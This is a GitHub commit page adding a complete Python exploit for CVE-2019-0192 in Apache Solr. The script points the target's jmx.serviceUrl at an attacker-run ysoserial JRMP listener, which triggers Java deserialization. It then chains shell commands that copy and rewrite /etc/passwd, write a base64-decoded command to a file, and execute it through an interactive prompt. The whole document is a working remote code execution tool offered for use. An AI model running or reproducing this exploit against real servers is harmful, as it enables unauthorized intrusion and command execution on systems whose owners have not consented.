Skip to content

Commit ab20595

Browse files
3lackrush3lackrush
committed
1 parent 9e132f4 commit ab20595

File tree

1 file changed

+174
-0
lines changed

1 file changed

+174
-0
lines changed

‎CVE-2019-0192/CVE-2019-0192.py‎

Lines changed: 174 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,174 @@
1+
import base64
2+
import requests
3+
import subprocess
4+
import signal
5+
import sys
6+
import os
7+
import time
8+
import re
9+
10+
remote = "http://172.18.0.5:8983"
11+
ressource = ""
12+
RHOST = "172.18.0.1"
13+
RPORT = "1099"
14+
15+
proxy = {
16+
}
17+
18+
def exploit(command):
19+
print("\n Run the malicious RMI server using yoserial by running this command:")
20+
print("\n java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21" + command)
21+
22+
23+
if __name__ == "__main__":
24+
print("\nCVE-2019-0192 - Apache Solr RCE 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5\n")
25+
print("[+] Checking if ressource available =>", end=' ')
26+
27+
burp0_url = remote + "/solr/admin/cores?wt=json"
28+
r = requests.get(burp0_url, proxies=proxy, verify=False, allow_redirects=False)
29+
if r.status_code == 200:
30+
if r.json()['status'] == "":
31+
print("KO")
32+
sys.exit()
33+
else:
34+
a = list(r.json()['status'].keys())
35+
ressource = "/solr/" + a[0] + "/config"
36+
print(ressource)
37+
else:
38+
print("KO")
39+
sys.exit()
40+
41+
while True:
42+
try:
43+
command = input("command (\033[92mnot reflected\033[0m)> ")
44+
if command == "exit":
45+
print("Exiting...")
46+
break
47+
command = base64.b64encode(command.encode('utf-8'))
48+
command_str = command.decode('utf-8')
49+
command_str = command_str.replace('/', '+')
50+
51+
pro = subprocess.Popen(
52+
"java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'cp /etc/passwd /tmp/passwd'", stdout=subprocess.PIPE,shell=True, preexec_fn=os.setsid)
53+
54+
print("[+] Copy file to tmp directory =>", end=' ')
55+
burp0_url = remote + ressource
56+
burp0_headers = {"Content-Type": "application/json"}
57+
burp0_json = {
58+
"set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
59+
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
60+
if r.status_code == 500:
61+
m = re.search('(undeclared checked exception; nested exception is)', r.text)
62+
if m:
63+
print("\033[92mOK\033[0m")
64+
else:
65+
print("\n[-] Error")
66+
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
67+
sys.exit()
68+
else:
69+
print("KO")
70+
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
71+
sys.exit()
72+
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
73+
time.sleep(3)
74+
75+
pro = subprocess.Popen(
76+
"java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'sed -i 1cpwn /tmp/passwd'", stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)
77+
78+
print("[+] Preparing file =>", end=' ')
79+
burp0_url = remote + ressource
80+
burp0_headers = {"Content-Type": "application/json"}
81+
burp0_json = {
82+
"set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
83+
r = requests.post(
84+
burp0_url, headers=burp0_headers, json=burp0_json)
85+
if r.status_code == 500:
86+
print("\033[92mOK\033[0m")
87+
else:
88+
print("KO")
89+
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
90+
sys.exit()
91+
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
92+
time.sleep(3)
93+
94+
pro = subprocess.Popen(
95+
"java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'sed -i /[^pwn]/d /tmp/passwd'", stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)
96+
97+
print("[+] Cleaning temp file =>", end=' ')
98+
burp0_url = remote + ressource
99+
burp0_headers = {"Content-Type": "application/json"}
100+
burp0_json = {
101+
"set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
102+
r = requests.post(
103+
burp0_url, headers=burp0_headers, json=burp0_json)
104+
if r.status_code == 500:
105+
print("\033[92mOK\033[0m")
106+
else:
107+
print("KO")
108+
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
109+
sys.exit()
110+
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
111+
time.sleep(3)
112+
113+
pro = subprocess.Popen(
114+
"java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'sed -i 1s/pwn/{echo," +
115+
command_str + "}|{base64,-d}>pwn.txt/g /tmp/passwd'", stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)
116+
117+
print("[+] Writing command into temp file =>", end=' ')
118+
burp0_url = remote + ressource
119+
burp0_headers = {"Content-Type": "application/json"}
120+
burp0_json = {
121+
"set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
122+
r = requests.post(
123+
burp0_url, headers=burp0_headers, json=burp0_json)
124+
if r.status_code == 500:
125+
print("\033[92mOK\033[0m")
126+
else:
127+
print("KO")
128+
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
129+
sys.exit()
130+
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
131+
time.sleep(3)
132+
133+
pro = subprocess.Popen(
134+
"java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'bash /tmp/passwd'", stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)
135+
136+
print("[+] Decode base64 command =>", end=' ')
137+
burp0_url = remote + ressource
138+
burp0_headers = {"Content-Type": "application/json"}
139+
burp0_json = {
140+
"set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
141+
r = requests.post(
142+
burp0_url, headers=burp0_headers, json=burp0_json)
143+
if r.status_code == 500:
144+
print("\033[92mOK\033[0m")
145+
else:
146+
print("KO")
147+
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
148+
sys.exit()
149+
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
150+
time.sleep(3)
151+
152+
pro = subprocess.Popen(
153+
"java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'bash pwn.txt'", stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)
154+
155+
print("[+] Executing command =>", end=' ')
156+
burp0_url = remote + ressource
157+
burp0_headers = {"Content-Type": "application/json"}
158+
burp0_json = {
159+
"set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
160+
r = requests.post(
161+
burp0_url, headers=burp0_headers, json=burp0_json)
162+
if r.status_code == 500:
163+
print("\033[92mOK\033[0m")
164+
else:
165+
print("KO")
166+
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
167+
sys.exit()
168+
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
169+
time.sleep(3)
170+
171+
except KeyboardInterrupt:
172+
print("Exiting...")
173+
break
174+

0 commit comments

Comments
 (0)